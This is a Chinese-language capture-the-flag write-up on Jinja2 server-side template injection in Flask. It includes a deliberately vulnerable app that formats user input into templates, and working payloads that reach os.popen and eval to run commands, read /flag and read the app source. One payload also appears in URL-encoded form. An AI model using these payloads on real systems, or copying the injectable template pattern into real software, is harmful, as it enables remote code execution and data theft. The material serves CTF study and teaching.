Werkzeug/1.0.1Python/3.8.7
基础 Python3
https://www.runoob.com/python3/python3-tutorial.html
推荐阅读
https://zhuanlan.zhihu.com/p/93746437 https://blog.csdn.net/u011377996/article/details/86776181
先本地试试水
这里搭建个简单 Flask 和 Jinja2
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route('/')
def index():
search_str = request.args.get('s', '')
return Template("Hey: {}<br>".format(search_str,)).render()
if __name__ == "__main__":
app.run('0.0.0.0')
常用的 Jinja2 定界符有
{% ... %}
for Statements{{ ... }}
for Expressions to print to the template output{# ... #}
for Comments not included in the template output# ... ##
for Line Statements
这里注意的是,模板渲染传入后,是有 Jinja2 环境的上下文信息的,
如传入 lipsum
可以得到一个生成器。
环境上下文通常包含的关键字有namespace
、lipsum
、range
、dict
、cycler
、joiner
参考自
https://jinja.palletsprojects.com/en/2.11.x/templates/#list-of-global-functions
看了别人的还有,不过我这里没试出来,估计是其他 Jinja2
版本的url_for
、g
、request
、session
、get_flashed_messages
、config
等
其余可以看官方手册,list-of-global-functions 部分
Python 一切皆对象,所有对象都是集成自 type
元类
然后通过 SSTI 题的基本思路是利用 Python 的 魔术方法(内置方法)找到可利用函数
__dict__
:保存类实例或对象实例的属性变量键值对字典__class__
:返回调用的参数类型__mro__
:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。__bases__
:返回类型列表__subclasses__
:返回type
对象方法__init__
:类的初始化方法__globals__
:函数会以字典类型返回当前位置的全部全局变量
先通过环境上下文的对象获取全局变量。
fuzz 一下 namespace
、lipsum
、range
、dict
、cycler
、joiner
这几个发现lipsum
利用比较方便,可以直接 lipsum.__globals__
依次找到可以执行命令 lipsum.__globals__.__builtins__.__import__('os')
{{lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read()}}
回到题目中
fuzz 一下得到输入控制点
找了下发现 flag
在根目录下
/?name={{lipsum.__globals__.__builtins__.__import__('os').popen('cat%20/flag').read()}}
来都来了,顺便嫖一下源码
/?name={{lipsum.__globals__.__builtins__.__import__(%27os%27).popen(%27cat%20app.py%27).read()}}
from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)
app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/')
def app_index():
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Hello</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.args.get('name'))
return render_template_string(template)
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
其他解法
利用 os
进行命令执行
首先找到 os._wrap_close
的位置
[].__class__.__base__.__subclasses__().index(os._wrap_close)
这种方式不行,因为当前环境上下文中没有 os
模块,可以 burp fuzz一下,看看哪个包含 os
[].__class__.__base__.__subclasses__()[0]
也可以自动查找运行
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
对上面进行 URL 编码(防止空格换行特殊字符破坏GET请求HTTP数据包),在通过 GET 请求参数传入即可
%7b%25%20%66%6f%72%20%63%20%69%6e%20%5b%5d%2e%5f%5f%63%6c%61%73%73%5f%5f%2e%5f%5f%62%61%73%65%5f%5f%2e%5f%5f%73%75%62%63%6c%61%73%73%65%73%5f%5f%28%29%20%25%7d%0a%7b%25%20%69%66%20%63%2e%5f%5f%6e%61%6d%65%5f%5f%20%3d%3d%20%27%63%61%74%63%68%5f%77%61%72%6e%69%6e%67%73%27%20%25%7d%0a%20%20%7b%25%20%66%6f%72%20%62%20%69%6e%20%63%2e%5f%5f%69%6e%69%74%5f%5f%2e%5f%5f%67%6c%6f%62%61%6c%73%5f%5f%2e%76%61%6c%75%65%73%28%29%20%25%7d%0a%20%20%7b%25%20%69%66%20%62%2e%5f%5f%63%6c%61%73%73%5f%5f%20%3d%3d%20%7b%7d%2e%5f%5f%63%6c%61%73%73%5f%5f%20%25%7d%0a%20%20%20%20%7b%25%20%69%66%20%27%65%76%61%6c%27%20%69%6e%20%62%2e%6b%65%79%73%28%29%20%25%7d%0a%20%20%20%20%20%20%7b%7b%20%62%5b%27%65%76%61%6c%27%5d%28%27%5f%5f%69%6d%70%6f%72%74%5f%5f%28%22%6f%73%22%29%2e%70%6f%70%65%6e%28%22%69%64%22%29%2e%72%65%61%64%28%29%27%29%20%7d%7d%0a%20%20%20%20%7b%25%20%65%6e%64%69%66%20%25%7d%0a%20%20%7b%25%20%65%6e%64%69%66%20%25%7d%0a%20%20%7b%25%20%65%6e%64%66%6f%72%20%25%7d%0a%7b%25%20%65%6e%64%69%66%20%25%7d%0a%7b%25%20%65%6e%64%66%6f%72%20%25%7d
比如利用 132 找到的 os._wrap_close
对象执行命令
/?name={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}